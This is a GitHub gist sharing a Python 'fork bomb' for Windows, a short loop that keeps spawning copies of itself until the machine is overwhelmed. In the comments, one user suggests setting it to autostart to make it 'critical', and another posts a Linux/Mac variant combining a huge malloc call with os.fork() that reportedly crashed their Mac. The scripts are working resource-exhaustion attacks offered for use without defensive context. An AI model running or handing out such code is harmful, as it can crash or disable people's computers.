Skip to content

Instantly share code, notes, and snippets.

@saleemrashid
Created January 6, 2017 13:16
Show Gist options
  • Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Windows "fork bomb" in Python
import subprocess, sys
while True:
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
@QueenOfDoom
Copy link

Some Antiviruses will prevent if from running - others will not... The program itself does not much harm - all it does is crashes the computer once. It becomes critical if you set it to AutoStart!

@curiousmonke
Copy link

I was wandering about fork bombs as well but im not sure what to do with the code or what to add to it

@0xTheSmartGuy
Copy link

0xTheSmartGuy commented Oct 20, 2022

I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!

@loudercake
Copy link

Actually os.fork() raises an exception if the number of forks is over 10000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment